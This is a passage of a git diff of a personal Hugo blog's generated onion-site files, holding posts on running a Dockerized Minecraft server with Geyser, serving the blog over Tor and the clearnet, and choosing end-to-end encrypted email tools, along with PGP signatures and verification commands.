    + + +]]>
    +
    + + Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releases + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/minecraft_server/ + Mon, 29 Sep 2025 09:06:29 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/minecraft_server/ + How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release. + Why +

    I’ve been running a Java Minecraft world (with Bedrock players via Geyser) in tmux. I moved it to Docker for easier updates, backups, and restarts. Along the way I hit:

    +
      +
    • failed to register layer: ... no space left on device
    • +
    • Client saying: “Outdated client, please use 1.21.9 Pre-Release 2”
    • +
    • Wanting config in a neat .env and no whitelist
    • +
    +

    Here’s exactly what I did.

    +
    +

    Folder layout

    +
    ~/minecraft/
    +├─ docker-compose.yml
    +├─ .env
    +└─ plugins/
    +

    +

    .env (secrets & knobs)

    +

    Use the latest stable (not snapshots/pre-releases) by setting VERSION=LATEST.

    +
    # Minecraft server configuration
    +EULA=TRUE
    +TYPE=PAPER
    +VERSION=LATEST
    +MEMORY=4G
    +USE_AIKAR_FLAGS=true
    +
    +# RCON (remote console)
    +ENABLE_RCON=true
    +RCON_PASSWORD=superSecretPassword123
    +
    +

    I don’t use a whitelist, so no WHITELIST/ENFORCE_WHITELIST variables.

    +
    +

    docker-compose.yml

    +
    services:
    +  mc:
    +    image: itzg/minecraft-server:latest
    +    container_name: mc
    +    restart: unless-stopped
    +    ports:
    +      - "25565:25565"        # Java
    +      - "19132:19132/udp"    # Bedrock via Geyser plugin
    +    env_file:
    +      - .env
    +    volumes:
    +      - mc-data:/data
    +      - ./plugins:/plugins:ro
    +volumes:
    +  mc-data: {}
    +
    +

    The version: key in Compose is obsolete now, so I dropped it.

    +
    +

    Add Geyser (and optional Floodgate) as plugins

    +
    mkdir -p ~/minecraft/plugins
    +cd ~/minecraft/plugins
    +
    +# Geyser (Spigot/Paper)
    +wget https://download.geysermc.org/v2/projects/geyser/versions/latest/builds/latest/downloads/spigot   -O Geyser-Spigot.jar
    +
    +# Floodgate (optional: Bedrock accounts without Java linking)
    +wget https://download.geysermc.org/v2/projects/floodgate/versions/latest/builds/latest/downloads/spigot   -O Floodgate-Spigot.jar
    +

    Start it up:

    +
    docker compose up -d
    +

    On first run, Geyser writes its config to /data/plugins/Geyser-Spigot/. Open UDP 19132 on your firewall.

    +
    +

    Hit a wall: /var ran out of space

    +

    Docker stores layers at /var/lib/docker by default. My /var LV was tiny:

    +
    /dev/mapper/ubuntu--vg-var   3.9G  3.4G  333M  92% /var
    +

    Quick cleanup

    +
    docker system df
    +docker system prune -f
    +docker builder prune -af
    +sudo apt-get clean
    +sudo journalctl --vacuum-size=100M
    +

    If that’s not enough, you have two good options:

    +

    Option A — Move Docker’s data off /var

    +
    sudo systemctl stop docker
    +sudo mkdir -p /home/docker
    +sudo rsync -aHAX --info=progress2 /var/lib/docker/ /home/docker/
    +echo '{ "data-root": "/home/docker" }' | sudo tee /etc/docker/daemon.json
    +sudo systemctl start docker
    +docker info | grep "Docker Root Dir"
    +

    If all looks good, free the old space:

    +
    sudo rm -rf /var/lib/docker/*
    +

    Option B — Grow /var (LVM)

    +

    Check free space in the VG:

    +
    sudo vgdisplay   # look for "Free PE / Size"
    +

    If available, extend /var by +5G:

    +
    sudo lvextend -L +5G /dev/mapper/ubuntu--vg-var
    +sudo resize2fs /dev/mapper/ubuntu--vg-var
    +

    +

    The version mismatch: pre-release vs stable

    +

    My logs showed:

    +
    Starting minecraft server version 1.21.9 Pre-Release 2
    +

    That happens if the server pulls a pre-release build (or if VERSION=LATEST). Fix:

    +
      +
    1. Ensure .env has: +
      VERSION=LATEST_RELEASE
      +
    2. +
    3. Recreate: +
      docker compose down
      +docker compose pull
      +docker compose up -d
      +
    4. +
    5. Verify: +
      docker logs mc | grep "Starting minecraft server version"
      +# -> Starting minecraft server version 1.21.1   (example)
      +
    6. +
    +
    +

    Tip: If you want to pin and avoid auto-updates entirely, set VERSION=1.21.1 (or whatever stable you’ve validated).

    +
    +

    No whitelist

    +

    Because I don’t set WHITELIST/ENFORCE_WHITELIST, anyone can join (subject to online-mode, bans, and Geyser/Floodgate auth settings). Manage ops/permissions via:

    +
    docker exec -it mc rcon-cli "op YourJavaIGN"
    +

    (or edit /data/ops.json).

    +
    +

    Backup & updates

    +
      +
    • World/data live under the mc-data volume → back up /data regularly.
    • +
    • Update cleanly: +
      docker compose pull && docker compose up -d
      +
    • +
    • Watch space: +
      watch -n5 'df -h /var; docker system df'
      +
    • +
    +
    +

    TL;DR

    +
      +
    • Put Geyser/Floodgate jars in ./plugins and expose 19132/udp.
    • +
    • Keep configs in .env.
    • +
    • Fix /var space by pruning, moving Docker’s data-root, or extending /var via LVM.
    • +
    • Verify version in logs after each change.
    • +
    +

    Happy block-breaking! 🧱🚀

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM
    +jSrrmBAAuVoSvB3tRIzD+N0F5OwfYvG3V3z6ok58df7p4js91/a9lcki2ywxw/Dy
    +Q3aeieiGITkd/zMNjTydy4XjkScoRFFlL5GVZ2WNjO8CvjpEv3nK7EX6jRt5leMV
    +0D0DESMnOQzgo4a1CuNHrYPHKPaMVpJ/1aKOUZwyPC9j8/70irAJpoA2jdBgSsxw
    +7p/hYijX0vGJ8+WSFj6707dh6hNRk5ZaNc0cElpkE4kXA31H0h/fRwPPteT4wjGA
    +JWQAyEUu3Vx/U0BnN6R9Lne+5cqxO0Kh8VrcBpyH2VpqH3fDk1fIHk1RdhDxwKD7
    +OzvAT5XXRS5Q6Udc7Nsa9T/OYG+elcgMAMFXosItqTRJNG72OyWloLVc/OrJ5Qsc
    +s81FbfcHp1dgjJ2gtO2Eyb/wb1WkyvrQegNnjuJzMt3awBN1BWex5Nn4Bz+UbLDz
    +g6dGQxcpfDJ6F9Tjz/ru7RZ9Yic/bo8vVvKaa6FhSAwF4SluKWS3cf3meE4GQD5r
    +NrClzg0Vujk/3zP/6yhCL7I0SwQ+NeW2HoUHeoawApBmFt/q5du4ftIx2iMMeWoH
    +F91H35CchRtKArxjpwFNt/J1QAPvKx9UvzA2uAl+LNOWXf/gomXH6Tqm9vnWr/aX
    +sczdH6N2E0+7KDO7NwjBJWa/QwdXKUlOq5fFgAop22v3vWOml1M=
    +=NmxL
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/minecraft_server.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/minecraft_server.md.asc
    +gpg --verify minecraft_server.md.asc minecraft_server.md
    +  
    +
    + + +]]>
    +
    + + Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperMod + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/tor_clearnet_blog/ + Fri, 19 Sep 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/tor_clearnet_blog/ + How I hosted a Hugo + PaperMod site both as a Tor onion service and a normal HTTPS site behind Cloudflare, with clean configs, dual builds, and a one-command deploy. + +

    TL;DR — The site is built once (Hugo project), published twice:

    +
      +
    • Onion: http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ via Tor, no TLS/HSTS, bound to 127.0.0.1:3301.
    • +
    • Clearnet: https://blog.alipourimjourneys.ir behind Cloudflare, Let’s Encrypt cert, Onion-Location header pointing to the onion mirror.
    • +
    +
    +

    1) Tor hidden service (onion) basics

    +

    I used Tor’s v3 onion services and mapped onion port 80 → my local web server on 127.0.0.1:3301.

    +

    Install & configure Tor (Debian/Ubuntu):

    +
    sudo apt update && sudo apt install -y tor
    +sudoedit /etc/tor/torrc
    +

    Add:

    +
    HiddenServiceDir /var/lib/tor/hidden_site/
    +HiddenServicePort 80 127.0.0.1:3301
    +

    Make sure the directory is owned by Tor’s user and private:

    +
    sudo mkdir -p /var/lib/tor/hidden_site
    +sudo chown -R debian-tor:debian-tor /var/lib/tor/hidden_site
    +sudo chmod 700 /var/lib/tor/hidden_site
    +

    Important: use the right systemd unit:

    +
    # validate as the Tor user
    +sudo -u debian-tor tor -f /etc/tor/torrc --verify-config
    +
    +# (re)start the real service
    +sudo systemctl enable --now tor@default
    +sudo systemctl restart tor@default
    +

    Get the onion address:

    +
    sudo cat /var/lib/tor/hidden_site/hostname
    +

    Quick check (do remote DNS via SOCKS):

    +
    curl -I --socks5-hostname 127.0.0.1:9050 "http://$(sudo cat /var/lib/tor/hidden_site/hostname)"
    +

    +

    2) Nginx for the onion (localhost-only)

    +

    I keep the onion site strictly on localhost: no HTTPS, no redirects, no HSTS. Tor already provides e2e encryption and authenticity.

    +

    /etc/nginx/sites-available/onion-blog:

    +
    server {
    +    listen 127.0.0.1:3301 default_server;
    +    server_name <your-56-char>.onion 127.0.0.1 localhost;
    +
    +    # keep onion simple; no HSTS/redirects here
    +    add_header Referrer-Policy no-referrer always;
    +    add_header X-Content-Type-Options nosniff always;
    +    add_header X-Frame-Options SAMEORIGIN always;
    +    # (optional) strict CSP so nothing leaks to clearnet
    +    # add_header Content-Security-Policy "default-src 'self'; img-src 'self' data:; style-src 'self' 'unsafe-inline'; script-src 'self'" always;
    +
    +    root /srv/hugo/mysite/public-onion;
    +    index index.html;
    +
    +    location / { try_files $uri $uri/ /index.html; }
    +    location ~* \.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ {
    +        access_log off;
    +        add_header Cache-Control "public, max-age=31536000, immutable";
    +        try_files $uri =404;
    +    }
    +}
    +

    Enable/reload:

    +
    sudo ln -sf /etc/nginx/sites-available/onion-blog /etc/nginx/sites-enabled/onion-blog
    +sudo nginx -t && sudo systemctl reload nginx
    +
    +

    Gotcha I hit: I had two server blocks on 127.0.0.1:3301, which caused 404s via onion. Make sure only the intended vhost listens there (or mark it default_server). Also, if you ever use a regex in server_name, the syntax is server_name ~* \.onion$ (note the space after ~*).

    +
    +

    3) Hugo + PaperMod setup (and version bumps)

    +

    PaperMod now requires Hugo Extended ≥ 0.146.0. I installed the extended binary from the official tarball to avoid Snap’s sandbox limitations (Snap can’t read /srv paths by default).

    +
    # install Hugo extended (example)
    +VER=0.146.0
    +cd /tmp
    +wget https://github.com/gohugoio/hugo/releases/download/v${VER}/hugo_extended_${VER}_Linux-amd64.tar.gz
    +tar -xzf hugo_extended_${VER}_Linux-amd64.tar.gz
    +sudo mv hugo /usr/local/bin/hugo
    +hugo version  # should say "extended" and >= 0.146.0
    +

    Create the site and theme:

    +
    sudo mkdir -p /srv/hugo && sudo chown -R "$USER":"$USER" /srv/hugo
    +cd /srv/hugo
    +hugo new site mysite
    +cd mysite
    +git init
    +git submodule add https://github.com/adityatelange/hugo-PaperMod themes/PaperMod
    +

    Config updates: in newer Hugo, paginate is deprecated → use:

    +
    # config/_default/hugo.toml
    +title = "My Blog"
    +theme = "PaperMod"
    +enableRobotsTXT = true
    +
    +[pagination]
    +  pagerSize = 10
    +
    +[params]
    +  defaultTheme = "auto"
    +  showReadingTime = true
    +  showPostNavLinks = true
    +  showBreadCrumbs = true
    +  showCodeCopyButtons = true
    +

    I added per-environment overrides so I can build two outputs with different baseURLs:

    +
    # config/clearnet/hugo.toml
    +baseURL = "https://blog.alipourimjourneys.ir/"
    +
    +# config/onion/hugo.toml
    +baseURL = "http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/"
    +

    +

    4) Dual builds (clearnet + onion) and one-command deploy

    +

    I publish the same content twice—once for each base URL and docroot:

    +
    cd /srv/hugo/mysite
    +# clearnet build (served over HTTPS)
    +hugo --minify --environment clearnet -d public-clearnet
    +# onion build (served via Tor)
    +hugo --minify --environment onion    -d public-onion
    +sudo systemctl reload nginx
    +

    Helper script I use:

    +
    sudo tee /usr/local/bin/build-both >/dev/null <<'EOF'
    +#!/usr/bin/env bash
    +set -euo pipefail
    +cd /srv/hugo/mysite
    +hugo --minify --environment clearnet -d public-clearnet
    +hugo --minify --environment onion    -d public-onion
    +sudo systemctl reload nginx
    +echo "Deployed both at $(date)"
    +EOF
    +sudo chmod +x /usr/local/bin/build-both
    +

    While editing, I sometimes auto-rebuild on file save:

    +
    sudo apt install -y entr
    +cd /srv/hugo/mysite
    +find content layouts assets static config -type f | entr -r build-both
    +

    +

    5) Clearnet behind Cloudflare + Let’s Encrypt (manual DNS-01)

    +

    Cloudflare is set to Full (strict). I issued a public cert for blog.alipourimjourneys.ir using manual DNS-01 (no API token):

    +
    sudo snap install --classic certbot
    +sudo certbot certonly --manual --preferred-challenges dns   -d blog.alipourimjourneys.ir   --agree-tos -m you@example.com --no-eff-email
    +

    Certbot tells you to add a TXT record _acme-challenge.blog.alipourimjourneys.ir. Add it in Cloudflare DNS, verify with dig, then continue. Cert ends up at:

    +
    /etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem
    +/etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem
    +

    Clearnet Nginx vhosts:

    +
    # HTTP → HTTPS redirect (optional; CF usually talks HTTPS to origin anyway)
    +server {
    +  listen 80; listen [::]:80;
    +  server_name blog.alipourimjourneys.ir;
    +  return 301 https://blog.alipourimjourneys.ir$request_uri;
    +}
    +
    +# HTTPS origin (behind Cloudflare)
    +server {
    +  listen 443 ssl http2; listen [::]:443 ssl http2;
    +  server_name blog.alipourimjourneys.ir;
    +
    +  ssl_certificate     /etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem;
    +
    +  # HSTS on clearnet only
    +  add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
    +
    +  # Help Tor Browser discover the onion mirror (safe on clearnet)
    +  add_header Onion-Location "http://<your-56-char>.onion$request_uri" always;
    +
    +  root /srv/hugo/mysite/public-clearnet;
    +  index index.html;
    +
    +  location / { try_files $uri $uri/ /index.html; }
    +}
    +
    +

    Note: don’t add HSTS or HTTPS redirects to the onion vhost. Keep onion pure HTTP on localhost.

    +
    +

    6) Troubleshooting I ran into (and fixes)

    +
      +
    • Tor unit confusion: tor.service is a tiny master; the real daemon is tor@default. Use that unit and verify config as debian-tor.
    • +
    • Permissions: HiddenServiceDir must be owned by debian-tor and mode 700.
    • +
    • Mapping mismatch: If HiddenServicePort 80 127.0.0.1:3301 is set, visit http://<onion>/ (no :3301). If you set HiddenServicePort 3301 127.0.0.1:3301, you must use http://<onion>:3301/.
    • +
    • Curl & .onion: modern curl refuses .onion unless you use remote DNS via SOCKS: +
      curl -I --socks5-hostname 127.0.0.1:9050 "http://<onion>/"
      +
    • +
    • Two Nginx vhosts on the same port: I had a duplicate server on 127.0.0.1:3301 pointing somewhere else, which caused onion 404s. Keep only one (or mark one default_server).
    • +
    • Regex in server_name: if you use it, write server_name ~* \.onion$ (space after ~*). I fixed an invalid variable name error caused by a missing space.
    • +
    • PaperMod with old Hugo: upgraded to extended ≥ 0.146.0. Also updated paginate[pagination].pagerSize.
    • +
    • Snap confinement: Snap’s hugo couldn’t read /srv (.../void: permission denied). Switched to the tarball build in /usr/local/bin.
    • +
    +
    +

    7) “Not secure” in Tor Browser?

    +

    That message can appear because onion uses HTTP. It’s OK: Tor provides e2e encryption + onion auth. If you enable HTTPS-Only Mode, add an exception for the site. Also ensure the onion build doesn’t reference clearnet resources (scan the built HTML for http(s):// links that aren’t your onion).

    +
    +

    8) Day-to-day workflow

    +
      +
    • Create content: +
      hugo new posts/my-first-post.md  # then set draft: false
      +
    • +
    • Publish both: +
      build-both
      +
    • +
    • (Optional) Auto on save: +
      find content layouts assets static config -type f | entr -r build-both
      +
    • +
    • (Optional) Git push-to-deploy with a bare repo + post-receive hook that runs build-both.
    • +
    +
    +

    Final notes

    +
      +
    • Clearnet gets HTTPS + HSTS and an Onion-Location header.
    • +
    • Onion gets no HSTS/redirects, and all assets are self-hosted to avoid mixed content.
    • +
    • Serving both worlds from one Hugo repo is easy: two builds, two vhosts, one workflow.
    • +
    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuQACgkQtYgoUOBM
    +jSr80hAAqr/XVnG0YNXXgG5FmVK/xBo5VVdYxba+znAc1rCWJuzwHe2Ih0aYsq7d
    +DMWRkpE9YTfQl/kSYpzlk96KCKv+6lHQXqcPyq+nQTDl/D7iCaOhb8Dog3W/2qN4
    +6G05f47EoiOJY+G/XgUHKqK75QhJrGUtom71t30alciaEGW2SauewBVTGmD+x4y4
    +UN8LABLuB/ZE8sInjoTRr28LWVj6XeHMueY9/tpS9Fm3yw3nHnE4Fv77FtTHQiMo
    +FwGfnomCwVwd5GpaP7LQdtP/a+x4s/bya2keFLW89xgwXolWB6U3y5BLFeVHptQm
    +slRx0+P27gH+CRtoXKI4kHThbmkmjM9ohJc7kxrkkbzB3ujkrxjC+rZnHXPCdbsZ
    +TTiwtJ/jLLbX+NfycW9qR6gVxloO35QA90AY7050tOgAsyH+YUn+Rtj2KVj91E0o
    +VzljG7RAly7yTe+yxzC6OO+iCJvLS6OpLEN5oIG9CmRm5cw/qB2rl8g/Qsru0t7/
    +OrTnJ8fJqq+XRhBet/eR4zogcSEo7fTMp0pDdapMYkO3Xe5VPQ/3Gu7xr8utoXXZ
    +N6VbRTRfq2Vnp+A9NshVsaKqXXaXsAL8GivMk37/bqteZ2BWedvzk1PpGf3f9HS8
    +700JFbZi9uEECoxtnv0uK67i8lkax/gsiTiGdjmx5mzfXfUQXVM=
    +=QlNw
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/tor_clearnet_blog.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/tor_clearnet_blog.md.asc
    +gpg --verify tor_clearnet_blog.md.asc tor_clearnet_blog.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/papermod/page/1/index.html b/public-onion/tags/papermod/page/1/index.html new file mode 100644 index 0000000..7cf8a9e --- /dev/null +++ b/public-onion/tags/papermod/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/papermod/ + + + + + + diff --git a/public-onion/tags/pgp/index.html b/public-onion/tags/pgp/index.html new file mode 100644 index 0000000..a7182a0 --- /dev/null +++ b/public-onion/tags/pgp/index.html @@ -0,0 +1,352 @@ + + + + + + + +Pgp | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    Sending End‑to‑End Encrypted Email (E2EE) without losing friends +

    +
    +
    +

    A practical, mildly opinionated guide to sending encrypted email that normal people can actually read.

    +
    +
    October 30, 2025 · 10 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/pgp/index.xml b/public-onion/tags/pgp/index.xml new file mode 100644 index 0000000..8a1ecc6 --- /dev/null +++ b/public-onion/tags/pgp/index.xml @@ -0,0 +1,177 @@ + + + + Pgp on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/pgp/ + Recent content in Pgp on AlipourIm journeys + Hugo -- 0.146.0 + en + Thu, 30 Oct 2025 00:00:00 +0000 + + + Sending End‑to‑End Encrypted Email (E2EE) without losing friends + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/e2ee/ + Thu, 30 Oct 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/e2ee/ + A practical, mildly opinionated guide to sending encrypted email that normal people can actually read. + If you’ve ever thought “I should really send this securely” and then immediately remembered key servers, certificate stores, and that one time you bricked your GPG setup, this post is for you. Below is a usable path to end‑to‑end encrypted email, roughly how each option works, and when to use which—sprinkled with a little fun so your eyes don’t glaze over.

    +
    +

    Honestly, I don’t know why one would settle down for a paid option, but if you want to, then be my guest.

    +

    Why people don’t use E2EE email (and why you still should)

    +

    Email wasn’t designed for secrecy. It leaks metadata (who emailed whom and when), search and spam engines expect to read your messages, and traditional E2EE requires exchanging and trusting keys or certificates—things most people never think about. That creates friction, breaks “just works” expectations, and makes onboarding your accountant, landlord, and cousin Maddie… exciting.

    +

    But the upsides are huge: true confidentiality of message content and attachments, stronger authenticity (signatures!), compliance wins for sensitive data, and fewer “oops, wrong inbox” disasters haunting you forever. In short: if it matters enough to hesitate before sending, it probably matters enough to encrypt.

    +

    I mean, generally speaking one can use e2ee for anything, and not just email, but doesn’t it feel cool if you sign your mail with your key, and if the receiver also has pgp keys, to send e2ee mail? No one knows what the two of you talk about, well unless there is a back door in your machine, buuuuuuuut assuming not, you’re good to go!

    +

    The contenders (and how they feel to use)

    +

    Proton Mail (consumer‑friendly, great cross‑provider story)

    +

    Proton gives you automatic E2EE between Proton users. When you email someone on Gmail or Outlook, you can send a password‑protected message that opens in a secure web page; you share the password out‑of‑band (SMS, Signal, etc.). If your recipient already uses PGP, Proton can speak that too. Day‑to‑day, it’s just email—with an extra “lock” option when you need it.

    +

    Prices (personal): Free tier exists; paid tiers like Mail Plus and Proton Unlimited add storage, custom domains, and Proton Bridge for desktop clients. Expect single‑digit € per month for personal use; business plans are per‑user.
    +How to use: Sign up → compose → choose password‑protected email for non‑Proton recipients or send normally to Proton addresses. Recipients can reply securely in the web portal—even without an account.
    +Ups: Lowest friction to message non‑tech people; slick apps; plays well with PGP if you’re a power user.
    +Downs: Metadata like recipients stays visible across the wider email network; full power (Bridge, larger storage) lives behind paid tiers.

    +

    Honestly though, although I love proton and want to work for them, idk why you would want to pay for such services. If you use their other options, like custom mail domains, etc., then be my guest, otherwise just use Thunderbird! It’s easy to use, and fun to show off.

    +

    Tuta (formerly Tutanota) (privacy maximalist, subject‑line encryption)

    +

    Tuta offers automatic E2EE between Tuta users and password‑protected emails to anyone else. Its special sauce: it encrypts more by default in its ecosystem—including subject lines—and the whole suite is open‑source and auditable.

    +

    Prices (personal & business): Free plan plus personal tiers (e.g., Revolutionary, Legend) and business tiers (Essential/Advanced/Unlimited). Personal is typically low single‑digit €/month; business is per‑user, per‑month.
    +How to use: Create an account → compose → set a password for non‑Tuta recipients; they read and reply in a secure web page.
    +Ups: Max privacy posture; encrypted subjects between Tuta users; clean apps.
    +Downs: Some advanced mail protocols/features are intentionally limited; cross‑ecosystem mail still exposes standard email metadata.

    +

    I was introduced to this one literally for writing this post, I had no idea it existed before.

    +

    Gmail with Client‑Side Encryption (CSE) (for organizations on Google Workspace)

    +

    If you live in Google Workspace, CSE brings real end‑to‑end encryption to Gmail—keys stay with your organization. After admins set it up, users toggle encryption right in the compose window. It’s the least disruptive path for big teams that already run on Gmail.

    +

    Prices: CSE is available on certain Workspace editions (e.g., Enterprise Plus, Education Standard/Plus, Frontline Plus). No extra per‑message fee, but you’ll need a compliant key service and the right subscription tier.
    +How to use: Ask IT to enable CSE and your key service → compose in Gmail → turn on encryption for messages that need it.
    +Ups: Seamless for employees; centralized key control; good audit/compliance story.
    +Downs: Only for supported Workspace tiers; external recipients may need compatible tooling or a secure portal experience; not for personal @gmail.com accounts.

    +

    I mean… how much can you trust google and their non-open source client? I know some of my collegues here do use it, I won’t. Not with the emails that matter to me.

    +

    Outlook / Apple Mail with S/MIME (classic enterprise path)

    +

    S/MIME uses X.509 certificates instead of PGP keys and is deeply integrated into Outlook and Apple Mail. Inside one company (or between partners who exchange certs), it’s smooth sailing. Your IT can deploy certificates automatically so users never touch crypto knobs.

    +

    Prices: The tech is built in; costs come from certificates. Orgs often issue them internally; public CA prices vary.
    +How to use: Install/auto‑deploy your certificate → recipients share theirs → click encrypt/sign in Outlook or Mail.
    +Ups: Great inside enterprises; MDM‑friendly; widely supported.
    +Downs: Exchanging certs across companies is clunky; personal certs can be confusing; mixed ecosystems require coordination.

    +

    Ok. Is there that big of a difference between these and Gmail? Idk. I ain’t trusting non of it. But maybe the apple client I do partially trust. They seem to care about user privacy, or maybe they have brain washed me to believe so.

    +

    Thunderbird + OpenPGP (free, powerful, nerd‑approved—now usable)

    +

    Thunderbird bakes in OpenPGP and S/MIME. You generate or import a key once, and Thunderbird remembers which contacts can be encrypted. It even supports protected headers/subject encryption so the visible subject can be replaced with a stub while the real subject lives inside the encrypted part. For many privacy‑minded folks, this is the sweet spot of control and usability.

    +

    Prices: Free.
    +How to use: Install Thunderbird → create/import a PGP key → hit the little lock when writing to someone whose key you have. Done.
    +Ups: Full control, open source, works with any provider via IMAP/SMTP; subject protection available.
    +Downs: Initial key exchange still scares people; you may need to hand‑hold contacts through setup the first time.

    +

    This is just the best. You can also have your calendars at one place. Also your contacts and everything else. They don’t have iOS app which sucks, idk about Android.

    +

    Browser add‑ons: Mailvelope & FlowCrypt (bring E2EE to webmail)

    +

    If you’re welded to webmail, add‑ons can meet you where you live. Mailvelope brings OpenPGP to Gmail/Outlook/Yahoo and more, right in the browser. FlowCrypt focuses on a polished PGP experience for Gmail and Google Workspace, with business features and key management options.

    +

    Prices: Mailvelope is free/open‑source. FlowCrypt has a generous free tier with paid enterprise features for teams.
    +How to use: Install the extension → create/import keys → compose in a secure editor injected into your webmail.
    +Ups: Zero provider switch; good for gradually introducing encryption to a contact list that lives in Gmail.
    +Downs: Browser crypto UX still has edges; enterprise key policy needs the paid tiers; fewer bells & whistles than a full desktop client.

    +

    Just no. Don’t trust add-ons. Please.

    +

    So… which should you use?

    +

    If you need to send a one‑off encrypted message to a non‑technical person, Proton or Tuta’s password‑protected email is the friendliest: they click a link, enter the password you shared elsewhere, and can reply securely even without an account. For a company already on Google Workspace, turn on Gmail CSE so people don’t juggle keys. If you’re a power user or want provider‑agnostic control, go with Thunderbird OpenPGP—it’s free, modern, and interoperable. And if you won’t leave the web, try Mailvelope or FlowCrypt to bolt E2EE onto the inbox you already use.

    +

    Honestly though, I would suggest thunderbird all day everyday, twice on Sunday. But that is just my view. If you fancy something else, well go ahead.

    +

    A note on what E2EE hides (and what it doesn’t)

    +

    End‑to‑end encryption protects the body and attachments. Across the wider email network, metadata like From/To and delivery timestamps remain visible by design. Subjects may also be visible unless your tools use protected headers (Thunderbird can; Tuta encrypts subjects inside its ecosystem). If you truly need to hide everything, email might not be the right tool—reach for Signal or Matrix instead.

    +

    Quick price & fit-at-a-glance

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    OptionBest fitPersonal price vibeNotes
    Proton MailEveryday private email + easy messages to anyoneFree; personal paid tiers in single‑digit €/mo; business per‑userPassword‑protected emails to non‑Proton; PGP support
    TutaPrivacy‑max email; encrypted subjects in‑ecosystemFree; personal low €/mo; business per‑userPassword‑protected emails to non‑Tuta; open source
    Gmail CSEOrgs on Google WorkspaceIncluded with Enterprise Plus/Education/Frontline editionsAdmin setup + external‑recipient flow
    S/MIME (Outlook/Apple Mail)Enterprises with IT/MDMSoftware built‑in; cert costs varySmooth inside one org; cert exchange needed across orgs
    Thunderbird OpenPGPProvider‑agnostic power usersFreeCan encrypt subjects via protected headers
    Mailvelope / FlowCryptMust stay on webmailFree / paid enterprise optionsPGP in the browser; good stepping stone
    +

    The 60‑second starter packs

    +

    Proton/Tuta for one‑offs: create an account, write your message, set a password, send; share the password over Signal or SMS. Recipient opens the secure link and can reply—no account needed.

    +

    Thunderbird for everything else: install, make a key, send your first signed message; when your contact replies with their key, hit the lock and enjoy encrypted bliss.

    +
    +

    Shower thoughts

    +

    So, why did I mention any of this? +Aside from the fact that I do believe e2ee email should become defacto, and I don’t know why it isn’t already, I do think we are not taking any steps toward protecting ourselves, and rely on third parties to do so for us.

    +

    A while ago when the 12 day war happened in Iran, they eventually allowed domestic platforms to be used by Iranians living abroad to talk to their loved ones back home. +The thing is, people might not use them because they don’t trust them.

    +

    The question I had was different. +Assuming that the service is reliable, why can’t we use it and protect ourselves while doing so?

    +

    In hindsight this seems stupid. +But listen to me. +If you have a wrapper that uses your gpg key to encrypt your messages, then you send them via those seemingly “untrusted” medium, why wouldn’t you be able to use it? +The only, and oh well, biggest problem is key exchange. +Now to be honest, there exist key repositories that one can use, but also you can publish your public key over github, or any open verifiable medium. It is not foolproof, but it’s a way. +And as long as there is a minimum reliable channel between the two parties, they can verify the authenticity of the key. +Like via a quick short call. +They can also be faked, but let’s not go that extreme. +Also if many do it, it’s hard to screw over all of them, maybe a subset with spending much resources, but no way you can screw everyone.

    +

    Idk how stupid the thing I’m suggesting is, but I wonder if it can be done or not. I don’t know if I’m willing to spend my free time on it or not, but I though I should share the idea to at least know if it’s stupid and wrong or not.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
